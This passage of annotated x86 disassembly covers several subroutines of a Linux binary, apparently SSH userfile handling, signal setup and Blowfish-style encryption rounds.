0805f05d  8b 7d 08                 mov    0x8(%ebp),%edi
0805f060  8b 5d 0c                 mov    0xc(%ebp),%ebx
0805f063  e8 64 b4 fe ff           call   0804a4cc <geteuid>
0805f068  39 c7                    cmp    %eax,%edi
0805f06a  75 10                    jne    0805f07c <Unknown0288+0x24>
0805f06c  89 5d 08                 mov    %ebx,0x8(%ebp)
0805f06f  8d 65 f8                 lea    0xfffffff8(%ebp),%esp
0805f072  5b                       pop    %ebx
0805f073  5f                       pop    %edi
0805f074  5d                       pop    %ebp
0805f075  e9 02 af fe ff           jmp    08049f7c <remove>   ;-86270 'x2 xaf xfe xff' ""
0805f07a  89 f6                    mov    %esi,%esi
0805f07c  a1 b0 82 07 08           mov    0x80782b0,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0805f081  85 c0                    test   %eax,%eax
0805f083  75 11                    jne    0805f096 <Unknown0288+0x3e>
0805f085  83 ec 08                 sub    $0x8,%esp
0805f088  57                       push   %edi
0805f089  68 c0 54 07 08           push   $0x80754c0   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_remove with uid %d"
0805f08e  e8 c9 0e ff ff           call   0804ff5c <Unknown0044>
0805f093  83 c4 10                 add    $0x10,%esp
0805f096  3b 3d b4 82 07 08        cmp    0x80782b4,%edi   ;[in .data] -1 'xff xff xff xff' ""
0805f09c  74 11                    je     0805f0af <Unknown0288+0x57>
0805f09e  83 ec 08                 sub    $0x8,%esp
0805f0a1  57                       push   %edi
0805f0a2  68 e0 54 07 08           push   $0x80754e0   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_remove with wrong uid %d"
0805f0a7  e8 b0 0e ff ff           call   0804ff5c <Unknown0044>
0805f0ac  83 c4 10                 add    $0x10,%esp
0805f0af  83 ec 0c                 sub    $0xc,%esp
0805f0b2  6a 0f                    push   $0xf
0805f0b4  e8 4b ec ff ff           call   0805dd04 <Unknown0268>
0805f0b9  89 df                    mov    %ebx,%edi
0805f0bb  fc                       cld
0805f0bc  31 c0                    xor    %eax,%eax
0805f0be  b9 ff ff ff ff           mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805f0c3  f2 ae                    repnz scas %es:(%edi),%al
0805f0c5  f7 d1                    not    %ecx
0805f0c7  83 c4 0c                 add    $0xc,%esp
0805f0ca  49                       dec    %ecx
0805f0cb  51                       push   %ecx
0805f0cc  53                       push   %ebx
0805f0cd  68 78 c1 07 08           push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f0d2  e8 51 ba ff ff           call   0805ab28 <Unknown0224>
0805f0d7  e8 70 ec ff ff           call   0805dd4c <Unknown0269>
0805f0dc  c7 04 24 10 00 00 00     movl   $0x10,(%esp,1)   ;16 'x10 x0 x0 x0' ""
0805f0e3  e8 fc ee ff ff           call   0805dfe4 <Unknown0271>
```

```
0805f0e8   83 c4 10               add     $0x10,%esp
0805f0eb   c7 45 08 78 c1 07 08   movl    $0x807c178,0x8(%ebp)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f0f2   8d 65 f8               lea     0xfffffff8(%ebp),%esp
0805f0f5   5b                     pop     %ebx
0805f0f6   5f                     pop     %edi
0805f0f7   5d                     pop     %ebp
0805f0f8   e9 43 b9 ff ff         jmp     0805aa40 <Unknown0221>   ;-18109 'x43 xb9 xff xff' "C"
0805f0fd   8d 76 00               lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 289 >---------------------<
  ;
0805f100 <Unknown0289>:
0805f100   55                     push    %ebp
0805f101   89 e5                  mov     %esp,%ebp
0805f103   57                     push    %edi
0805f104   56                     push    %esi
0805f105   53                     push    %ebx
0805f106   83 ec 0c               sub     $0xc,%esp
0805f109   8b 7d 08               mov     0x8(%ebp),%edi
0805f10c   8b 5d 0c               mov     0xc(%ebp),%ebx
0805f10f   8b 75 10               mov     0x10(%ebp),%esi
0805f112   e8 b5 b3 fe ff         call    0804a4cc <geteuid>
0805f117   39 c7                  cmp     %eax,%edi
0805f119   75 2d                  jne     0805f148 <Unknown0289+0x48>
0805f11b   83 ec 08               sub     $0x8,%esp
0805f11e   56                     push    %esi
0805f11f   53                     push    %ebx
0805f120   e8 e7 ee ff ff         call    0805e00c <Unknown0272>
0805f125   83 c4 10               add     $0x10,%esp
0805f128   85 c0                  test    %eax,%eax
0805f12a   0f 88 b6 00 00 00      js      0805f1e6 <Unknown0289+0xe6>   ;182 'xb6 x0 x0 x0' ""
0805f130   89 45 0c               mov     %eax,0xc(%ebp)
0805f133   c7 45 08 00 00 00 00   movl    $0x0,0x8(%ebp)   ;0 'x0 x0 x0 x0' ""
0805f13a   8d 65 f4               lea     0xfffffff4(%ebp),%esp
0805f13d   5b                     pop     %ebx
0805f13e   5e                     pop     %esi
0805f13f   5f                     pop     %edi
0805f140   5d                     pop     %ebp
0805f141   e9 0e f8 ff ff         jmp     0805e954 <Unknown0277>   ;-2034 'xe xf8 xff xff' ""
0805f146   89 f6                  mov     %esi,%esi
0805f148   8b 15 b0 82 07 08      mov     0x80782b0,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805f14e   85 d2                  test    %edx,%edx
0805f150   75 11                  jne     0805f163 <Unknown0289+0x63>
0805f152   83 ec 08               sub     $0x8,%esp
0805f155   57                     push    %edi
0805f156   68 20 55 07 08         push    $0x8075520   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                       "userfile_popen: using non-current uid but not
                                                        initialized (uid=%d)"
0805f15b   e8 fc 0d ff ff         call    0804ff5c <Unknown0044>
0805f160   83 c4 10               add     $0x10,%esp
0805f163   3b 3d b4 82 07 08      cmp     0x80782b4,%edi   ;[in .data] -1 'xff xff xff xff' ""
0805f169   74 11                  je      0805f17c <Unknown0289+0x7c>
0805f16b   83 ec 08               sub     $0x8,%esp
0805f16e   57                     push    %edi
0805f16f   68 80 55 07 08         push    $0x8075580   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                       "userfile_popen: uid not current and not that of child:
                                                        uid=%d"
0805f174   e8 e3 0d ff ff         call    0804ff5c <Unknown0044>
0805f179   83 c4 10               add     $0x10,%esp
0805f17c   83 ec 0c               sub     $0xc,%esp
0805f17f   6a 11                  push    $0x11
0805f181   e8 7e eb ff ff         call    0805dd04 <Unknown0268>
0805f186   89 df                  mov     %ebx,%edi
0805f188   31 c0                  xor     %eax,%eax
0805f18a   fc                     cld
0805f18b   b9 ff ff ff ff         mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805f190   f2 ae                  repnz scas %es:(%edi),%al
0805f192   f7 d1                  not     %ecx
0805f194   83 c4 0c               add     $0xc,%esp
0805f197   49                     dec     %ecx
0805f198   51                     push    %ecx
0805f199   53                     push    %ebx
0805f19a   68 78 c1 07 08         push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f19f   e8 84 b9 ff ff         call    0805ab28 <Unknown0224>
0805f1a4   89 f7                  mov     %esi,%edi
0805f1a6   31 c0                  xor     %eax,%eax
0805f1a8   fc                     cld
0805f1a9   b9 ff ff ff ff         mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805f1ae   f2 ae                  repnz scas %es:(%edi),%al
0805f1b0   f7 d1                  not     %ecx
0805f1b2   83 c4 0c               add     $0xc,%esp
0805f1b5   49                     dec     %ecx
```

```
0805f1b6   51                        push    %ecx
0805f1b7   56                        push    %esi
0805f1b8   68 78 c1 07 08            push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f1bd   e8 66 b9 ff ff            call    0805ab28 <Unknown0224>
0805f1c2   e8 85 eb ff ff            call    0805dd4c <Unknown0269>
0805f1c7   c7 04 24 12 00 00 00      movl    $0x12,(%esp,1)   ;18 'x12 x0 x0 x0' ""
0805f1ce   e8 11 ee ff ff            call    0805dfe4 <Unknown0271>
0805f1d3   c7 04 24 78 c1 07 08      movl    $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f1da   e8 61 b8 ff ff            call    0805aa40 <Unknown0221>
0805f1df   83 c4 10                  add     $0x10,%esp
0805f1e2   85 c0                     test    %eax,%eax
0805f1e4   79 06                     jns     0805f1ec <Unknown0289+0xec>
0805f1e6   31 c0                     xor     %eax,%eax
0805f1e8   eb 1a                     jmp     0805f204 <Unknown0289+0x104>
0805f1ea   89 f6                     mov     %esi,%esi
0805f1ec   89 45 0c                  mov     %eax,0xc(%ebp)
0805f1ef   c7 45 08 01 00 00 00      movl    $0x1,0x8(%ebp)   ;1 'x1 x0 x0 x0' ""
0805f1f6   8d 65 f4                  lea     0xfffffff4(%ebp),%esp
0805f1f9   5b                        pop     %ebx
0805f1fa   5e                        pop     %esi
0805f1fb   5f                        pop     %edi
0805f1fc   5d                        pop     %ebp
0805f1fd   e9 52 f7 ff ff            jmp     0805e954 <Unknown0277>   ;-2222 'x52 xf7 xff xff' "R"
0805f202   89 f6                     mov     %esi,%esi
0805f204   8d 65 f4                  lea     0xfffffff4(%ebp),%esp
0805f207   5b                        pop     %ebx
0805f208   5e                        pop     %esi
0805f209   5f                        pop     %edi
0805f20a   5d                        pop     %ebp
0805f20b   c3                        ret

   ;
   ; >----------------------<  Subroutine # 290 >----------------------<
   ;
0805f20c <Unknown0290>:
0805f20c   55                        push    %ebp
0805f20d   89 e5                     mov     %esp,%ebp
0805f20f   56                        push    %esi
0805f210   53                        push    %ebx
0805f211   8b 75 08                  mov     0x8(%ebp),%esi
0805f214   8b 06                     mov     (%esi),%eax
0805f216   85 c0                     test    %eax,%eax
0805f218   74 06                     je      0805f220 <Unknown0290+0x14>
0805f21a   48                        dec     %eax
0805f21b   74 2b                     je      0805f248 <Unknown0290+0x3c>
0805f21d   eb 6d                     jmp     0805f28c <Unknown0290+0x80>
0805f21f   90                        nop
0805f220   83 ec 0c                  sub     $0xc,%esp
0805f223   ff 76 04                  pushl   0x4(%esi)
0805f226   e8 b1 aa fe ff            call    08049cdc <close>
0805f22b   89 c3                     mov     %eax,%ebx
0805f22d   c7 04 24 00 00 00 00      movl    $0x0,(%esp,1)   ;0 'x0 x0 x0 x0' ""
0805f234   e8 a3 b2 fe ff            call    0804a4dc <wait>
0805f239   83 c4 10                  add     $0x10,%esp
0805f23c   85 db                     test    %ebx,%ebx
0805f23e   78 02                     js      0805f242 <Unknown0290+0x36>
0805f240   89 c3                     mov     %eax,%ebx
0805f242   83 ec 0c                  sub     $0xc,%esp
0805f245   56                        push    %esi
0805f246   eb 3b                     jmp     0805f283 <Unknown0290+0x77>
0805f248   83 ec 0c                  sub     $0xc,%esp
0805f24b   6a 13                     push    $0x13
0805f24d   e8 b2 ea ff ff            call    0805dd04 <Unknown0268>
0805f252   59                        pop     %ecx
0805f253   5b                        pop     %ebx
0805f254   ff 76 04                  pushl   0x4(%esi)
0805f257   68 78 c1 07 08            push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f25c   e8 17 b8 ff ff            call    0805aa78 <Unknown0222>
0805f261   e8 e6 ea ff ff            call    0805dd4c <Unknown0269>
0805f266   c7 04 24 14 00 00 00      movl    $0x14,(%esp,1)   ;20 'x14 x0 x0 x0' ""
0805f26d   e8 72 ed ff ff            call    0805dfe4 <Unknown0271>
0805f272   c7 04 24 78 c1 07 08      movl    $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f279   e8 c2 b7 ff ff            call    0805aa40 <Unknown0221>
0805f27e   89 c3                     mov     %eax,%ebx
0805f280   89 34 24                  mov     %esi,(%esp,1)
0805f283   e8 88 7c ff ff            call    08056f10 <Unknown0172>
0805f288   89 d8                     mov     %ebx,%eax
0805f28a   eb 14                     jmp     0805f2a0 <Unknown0290+0x94>
0805f28c   83 ec 08                  sub     $0x8,%esp
0805f28f   ff 36                     pushl   (%esi)
0805f291   68 49 53 07 08            push    $0x8075349   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                          "userfile_close: type %d"
0805f296   e8 c1 0c ff ff            call    0804ff5c <Unknown0044>
```

```
0805f29b   b8 ff ff ff ff        mov     $0xffffffff,%eax   ;-1 'xff xff xff xff' ""
0805f2a0   8d 65 f8              lea     0xfffffff8(%ebp),%esp
0805f2a3   5b                    pop     %ebx
0805f2a4   5e                    pop     %esi
0805f2a5   5d                    pop     %ebp
0805f2a6   c3                    ret
0805f2a7   90                    nop


  ;
  ; >--------------------< Subroutine # 291 >--------------------<
  ;
0805f2a8 <Unknown0291>:
0805f2a8   55                    push    %ebp
0805f2a9   31 c0                 xor     %eax,%eax
0805f2ab   89 e5                 mov     %esp,%ebp
0805f2ad   5d                    pop     %ebp
0805f2ae   c3                    ret
0805f2af   90                    nop


  ;
  ; >--------------------< Subroutine # 292 >--------------------<
  ;
0805f2b0 <Unknown0292>:
0805f2b0   55                    push    %ebp
0805f2b1   89 e5                 mov     %esp,%ebp
0805f2b3   53                    push    %ebx
0805f2b4   83 ec 68              sub     $0x68,%esp
0805f2b7   8d 45 98              lea     0xffffff98(%ebp),%eax
0805f2ba   50                    push    %eax
0805f2bb   ff 75 0c              pushl   0xc(%ebp)
0805f2be   8b 5d 08              mov     0x8(%ebp),%ebx
0805f2c1   ff 73 08              pushl   0x8(%ebx)
0805f2c4   e8 cb fc ff ff        call    0805ef94 <Unknown0287>
0805f2c9   83 c4 10              add     $0x10,%esp
0805f2cc   85 c0                 test    %eax,%eax
0805f2ce   78 1a                 js      0805f2ea <Unknown0292+0x3a>
0805f2d0   8b 45 b0              mov     0xffffffb0(%ebp),%eax
0805f2d3   85 c0                 test    %eax,%eax
0805f2d5   74 05                 je      0805f2dc <Unknown0292+0x2c>
0805f2d7   3b 43 08              cmp     0x8(%ebx),%eax
0805f2da   75 0e                 jne     0805f2ea <Unknown0292+0x3a>
0805f2dc   f7 45 a8 12 00 00 00  testl   $0x12,0xffffffa8(%ebp)   ;18 'x12 x0 x0 x0' ""
0805f2e3   b8 01 00 00 00        mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805f2e8   74 02                 je      0805f2ec <Unknown0292+0x3c>
0805f2ea   31 c0                 xor     %eax,%eax
0805f2ec   8b 5d fc              mov     0xfffffffc(%ebp),%ebx
0805f2ef   c9                    leave
0805f2f0   c3                    ret
0805f2f1   8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 293 >--------------------<
  ;
0805f2f4 <Unknown0293>:
0805f2f4   55                    push    %ebp
0805f2f5   89 e5                 mov     %esp,%ebp
0805f2f7   83 ec 0c              sub     $0xc,%esp
0805f2fa   ff 75 08              pushl   0x8(%ebp)
0805f2fd   68 c0 55 07 08        push    $0x80755c0   ;[in .rodata] 1667584522 'xa x52 x65 x63' ""
0805f302   ff 35 0c 9c 07 08     pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
0805f308   e8 ef a9 fe ff        call    08049cfc <fprintf>
0805f30d   83 c4 10              add     $0x10,%esp
0805f310   c7 45 08 ff 00 00 00  movl    $0xff,0x8(%ebp)   ;255 'xff x0 x0 x0' ""
0805f317   c9                    leave
0805f318   e9 2f b0 fe ff        jmp     0804a34c <exit>   ;-85969 'x2f xb0 xfe xff' "/"
0805f31d   8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 294 >--------------------<
  ;
0805f320 <Unknown0294>:
0805f320   55                    push    %ebp
0805f321   89 e5                 mov     %esp,%ebp
0805f323   53                    push    %ebx
0805f324   50                    push    %eax
0805f325   bb 01 00 00 00        mov     $0x1,%ebx   ;1 'x1 x0 x0 x0' ""
0805f32a   89 f6                 mov     %esi,%esi
0805f32c   83 fb 11              cmp     $0x11,%ebx
0805f32f   7c 17                 jl      0805f348 <Unknown0294+0x28>
```

```
0805f331   83 fb 17            cmp    $0x17,%ebx
0805f334   7e 0a               jle    0805f340 <Unknown0294+0x20>
0805f336   83 fb 1e            cmp    $0x1e,%ebx
0805f339   7f 0d               jg     0805f348 <Unknown0294+0x28>
0805f33b   83 fb 1c            cmp    $0x1c,%ebx
0805f33e   7c 08               jl     0805f348 <Unknown0294+0x28>
0805f340   83 ec 08            sub    $0x8,%esp
0805f343   6a 00               push   $0x0
0805f345   eb 09               jmp    0805f350 <Unknown0294+0x30>
0805f347   90                  nop
0805f348   83 ec 08            sub    $0x8,%esp
0805f34b   68 f4 f2 05 08      push   $0x805f2f4  ;1 'x1 x0 x0 x0' ""
0805f350   53                  push   %ebx
0805f351   e8 e6 a9 fe ff      call   08049d3c <signal>
0805f356   83 c4 10            add    $0x10,%esp
0805f359   43                  inc    %ebx
0805f35a   83 fb 3f            cmp    $0x3f,%ebx
0805f35d   7e cd               jle    0805f32c <Unknown0294+0xc>
0805f35f   8b 5d fc            mov    0xfffffffc(%ebp),%ebx
0805f362   c9                  leave
0805f363   c3                  ret


  ;
  ; >---------------------<  Subroutine # 295 >---------------------<
  ;
0805f364 <Unknown0295>:
0805f364   55                  push   %ebp
0805f365   89 e5               mov    %esp,%ebp
0805f367   53                  push   %ebx
0805f368   52                  push   %edx
0805f369   bb 01 00 00 00      mov    $0x1,%ebx   ;1 'x1 x0 x0 x0' ""
0805f36e   89 f6               mov    %esi,%esi
0805f370   83 ec 08            sub    $0x8,%esp
0805f373   6a 00               push   $0x0
0805f375   53                  push   %ebx
0805f376   e8 c1 a9 fe ff      call   08049d3c <signal>
0805f37b   43                  inc    %ebx
0805f37c   83 c4 10            add    $0x10,%esp
0805f37f   83 fb 3f            cmp    $0x3f,%ebx
0805f382   7e ec               jle    0805f370 <Unknown0295+0xc>
0805f384   8b 5d fc            mov    0xfffffffc(%ebp),%ebx
0805f387   c9                  leave
0805f388   c3                  ret
0805f389   8d 76 00            lea    0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 296 >---------------------<
  ;
0805f38c <Unknown0296>:
0805f38c   55                  push   %ebp
0805f38d   89 e5               mov    %esp,%ebp
0805f38f   57                  push   %edi
0805f390   56                  push   %esi
0805f391   53                  push   %ebx
0805f392   52                  push   %edx
0805f393   8b 55 08            mov    0x8(%ebp),%edx
0805f396   8b b2 00 10 00 00   mov    0x1000(%edx),%esi  ;4096 'x0 x10 x0 x0' ""
0805f39c   33 75 0c            xor    0xc(%ebp),%esi
0805f39f   89 f0               mov    %esi,%eax
0805f3a1   c1 e8 10            shr    $0x10,%eax
0805f3a4   89 f1               mov    %esi,%ecx
0805f3a6   25 ff 00 00 00      and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f3ab   8b 9c 82 00 04 00 00 mov   0x400(%edx,%eax,4),%ebx  ;1024 'x0 x4 x0 x0' ""
0805f3b2   c1 e9 18            shr    $0x18,%ecx
0805f3b5   03 1c 8a            add    (%edx,%ecx,4),%ebx
0805f3b8   89 f1               mov    %esi,%ecx
0805f3ba   0f b6 c5            movzbl %ch,%eax
0805f3bd   33 9c 82 00 08 00 00 xor   0x800(%edx,%eax,4),%ebx  ;2048 'x0 x8 x0 x0' ""
0805f3c4   89 f0               mov    %esi,%eax
0805f3c6   25 ff 00 00 00      and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f3cb   03 9c 82 00 0c 00 00 add   0xc00(%edx,%eax,4),%ebx  ;3072 'x0 xc x0 x0' ""
0805f3d2   33 9a 04 10 00 00   xor    0x1004(%edx),%ebx  ;4100 'x4 x10 x0 x0' ""
0805f3d8   33 5d 10            xor    0x10(%ebp),%ebx
0805f3db   89 d8               mov    %ebx,%eax
0805f3dd   c1 e8 10            shr    $0x10,%eax
0805f3e0   89 d9               mov    %ebx,%ecx
0805f3e2   25 ff 00 00 00      and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f3e7   8b 84 82 00 04 00 00 mov   0x400(%edx,%eax,4),%eax  ;1024 'x0 x4 x0 x0' ""
0805f3ee   c1 e9 18            shr    $0x18,%ecx
0805f3f1   03 04 8a            add    (%edx,%ecx,4),%eax
0805f3f4   0f b6 cf            movzbl %bh,%ecx
0805f3f7   33 84 8a 00 08 00 00 xor   0x800(%edx,%ecx,4),%eax  ;2048 'x0 x8 x0 x0' ""
```

```
0805f3fe   0f b6 cb               movzbl  %bl,%ecx
0805f401   03 84 8a 00 0c 00 00   add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f408   33 82 08 10 00 00      xor     0x1008(%edx),%eax   ;4104 'x8 x10 x0 x0' ""
0805f40e   31 c6                  xor     %eax,%esi
0805f410   89 f0                  mov     %esi,%eax
0805f412   c1 e8 10               shr     $0x10,%eax
0805f415   89 f1                  mov     %esi,%ecx
0805f417   25 ff 00 00 00         and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f41c   8b 84 82 00 04 00 00   mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f423   c1 e9 18               shr     $0x18,%ecx
0805f426   03 04 8a               add     (%edx,%ecx,4),%eax
0805f429   89 f1                  mov     %esi,%ecx
0805f42b   0f b6 cd               movzbl  %ch,%ecx
0805f42e   89 4d f0               mov     %ecx,0xfffffff0(%ebp)
0805f431   33 84 8a 00 08 00 00   xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f438   89 f1                  mov     %esi,%ecx
0805f43a   81 e1 ff 00 00 00      and     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f440   03 84 8a 00 0c 00 00   add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f447   33 82 0c 10 00 00      xor     0x100c(%edx),%eax   ;4108 'xc x10 x0 x0' ""
0805f44d   31 c3                  xor     %eax,%ebx
0805f44f   89 d8                  mov     %ebx,%eax
0805f451   c1 e8 10               shr     $0x10,%eax
0805f454   89 d9                  mov     %ebx,%ecx
0805f456   25 ff 00 00 00         and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f45b   c1 e9 18               shr     $0x18,%ecx
0805f45e   8b 84 82 00 04 00 00   mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f465   03 04 8a               add     (%edx,%ecx,4),%eax
0805f468   0f b6 cf               movzbl  %bh,%ecx
0805f46b   33 84 8a 00 08 00 00   xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f472   0f b6 cb               movzbl  %bl,%ecx
0805f475   03 84 8a 00 0c 00 00   add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f47c   33 82 10 10 00 00      xor     0x1010(%edx),%eax   ;4112 'x10 x10 x0 x0' ""
0805f482   31 c6                  xor     %eax,%esi
0805f484   89 f0                  mov     %esi,%eax
0805f486   c1 e8 10               shr     $0x10,%eax
0805f489   89 f1                  mov     %esi,%ecx
0805f48b   25 ff 00 00 00         and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f490   c1 e9 18               shr     $0x18,%ecx
0805f493   8b 84 82 00 04 00 00   mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f49a   03 04 8a               add     (%edx,%ecx,4),%eax
0805f49d   89 f1                  mov     %esi,%ecx
0805f49f   0f b6 cd               movzbl  %ch,%ecx
0805f4a2   8b 7d 14               mov     0x14(%ebp),%edi
0805f4a5   89 4d f0               mov     %ecx,0xfffffff0(%ebp)
0805f4a8   33 84 8a 00 08 00 00   xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f4af   89 f1                  mov     %esi,%ecx
0805f4b1   81 e1 ff 00 00 00      and     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f4b7   03 84 8a 00 0c 00 00   add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f4be   33 82 14 10 00 00      xor     0x1014(%edx),%eax   ;4116 'x14 x10 x0 x0' ""
0805f4c4   31 c3                  xor     %eax,%ebx
0805f4c6   89 d8                  mov     %ebx,%eax
0805f4c8   c1 e8 10               shr     $0x10,%eax
0805f4cb   89 d9                  mov     %ebx,%ecx
0805f4cd   25 ff 00 00 00         and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f4d2   8b 84 82 00 04 00 00   mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f4d9   c1 e9 18               shr     $0x18,%ecx
0805f4dc   03 04 8a               add     (%edx,%ecx,4),%eax
0805f4df   0f b6 cf               movzbl  %bh,%ecx
0805f4e2   33 84 8a 00 08 00 00   xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f4e9   0f b6 cb               movzbl  %bl,%ecx
0805f4ec   03 84 8a 00 0c 00 00   add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f4f3   33 82 18 10 00 00      xor     0x1018(%edx),%eax   ;4120 'x18 x10 x0 x0' ""
0805f4f9   31 c6                  xor     %eax,%esi
0805f4fb   89 f0                  mov     %esi,%eax
0805f4fd   c1 e8 10               shr     $0x10,%eax
0805f500   89 f1                  mov     %esi,%ecx
0805f502   25 ff 00 00 00         and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f507   8b 84 82 00 04 00 00   mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f50e   c1 e9 18               shr     $0x18,%ecx
0805f511   03 04 8a               add     (%edx,%ecx,4),%eax
0805f514   89 f1                  mov     %esi,%ecx
0805f516   0f b6 cd               movzbl  %ch,%ecx
0805f519   89 4d f0               mov     %ecx,0xfffffff0(%ebp)
0805f51c   33 84 8a 00 08 00 00   xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f523   89 f1                  mov     %esi,%ecx
0805f525   81 e1 ff 00 00 00      and     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f52b   03 84 8a 00 0c 00 00   add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f532   33 82 1c 10 00 00      xor     0x101c(%edx),%eax   ;4124 'x1c x10 x0 x0' ""
0805f538   31 c3                  xor     %eax,%ebx
0805f53a   89 d8                  mov     %ebx,%eax
0805f53c   c1 e8 10               shr     $0x10,%eax
0805f53f   89 d9                  mov     %ebx,%ecx
0805f541   25 ff 00 00 00         and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f546   8b 84 82 00 04 00 00   mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
```

```
0805f54d  c1 e9 18              shr      $0x18,%ecx
0805f550  03 04 8a              add      (%edx,%ecx,4),%eax
0805f553  0f b6 cf              movzbl   %bh,%ecx
0805f556  33 84 8a 00 08 00 00  xor      0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f55d  0f b6 cb              movzbl   %bl,%ecx
0805f560  03 84 8a 00 0c 00 00  add      0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f567  33 82 20 10 00 00     xor      0x1020(%edx),%eax   ;4128 'x20 x10 x0 x0' " "
0805f56d  31 c6                 xor      %eax,%esi
0805f56f  89 f0                 mov      %esi,%eax
0805f571  c1 e8 10              shr      $0x10,%eax
0805f574  89 f1                 mov      %esi,%ecx
0805f576  25 ff 00 00 00        and      $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f57b  8b 84 82 00 04 00 00  mov      0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f582  c1 e9 18              shr      $0x18,%ecx
0805f585  03 04 8a              add      (%edx,%ecx,4),%eax
0805f588  89 f1                 mov      %esi,%ecx
0805f58a  0f b6 cd              movzbl   %ch,%ecx
0805f58d  89 4d f0              mov      %ecx,0xfffffff0(%ebp)
0805f590  33 84 8a 00 08 00 00  xor      0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f597  89 f1                 mov      %esi,%ecx
0805f599  81 e1 ff 00 00 00     and      $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f59f  03 84 8a 00 0c 00 00  add      0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f5a6  33 82 24 10 00 00     xor      0x1024(%edx),%eax   ;4132 'x24 x10 x0 x0' "$"
0805f5ac  31 c3                 xor      %eax,%ebx
0805f5ae  89 d8                 mov      %ebx,%eax
0805f5b0  c1 e8 10              shr      $0x10,%eax
0805f5b3  89 d9                 mov      %ebx,%ecx
0805f5b5  25 ff 00 00 00        and      $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f5ba  8b 84 82 00 04 00 00  mov      0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f5c1  c1 e9 18              shr      $0x18,%ecx
0805f5c4  03 04 8a              add      (%edx,%ecx,4),%eax
0805f5c7  0f b6 cf              movzbl   %bh,%ecx
0805f5ca  33 84 8a 00 08 00 00  xor      0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f5d1  0f b6 cb              movzbl   %bl,%ecx
0805f5d4  03 84 8a 00 0c 00 00  add      0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f5db  33 82 28 10 00 00     xor      0x1028(%edx),%eax   ;4136 'x28 x10 x0 x0' "("
0805f5e1  31 c6                 xor      %eax,%esi
0805f5e3  89 f0                 mov      %esi,%eax
0805f5e5  c1 e8 10              shr      $0x10,%eax
0805f5e8  89 f1                 mov      %esi,%ecx
0805f5ea  25 ff 00 00 00        and      $0xff,%eax   ;255 'xff x0 x0 x0' ""
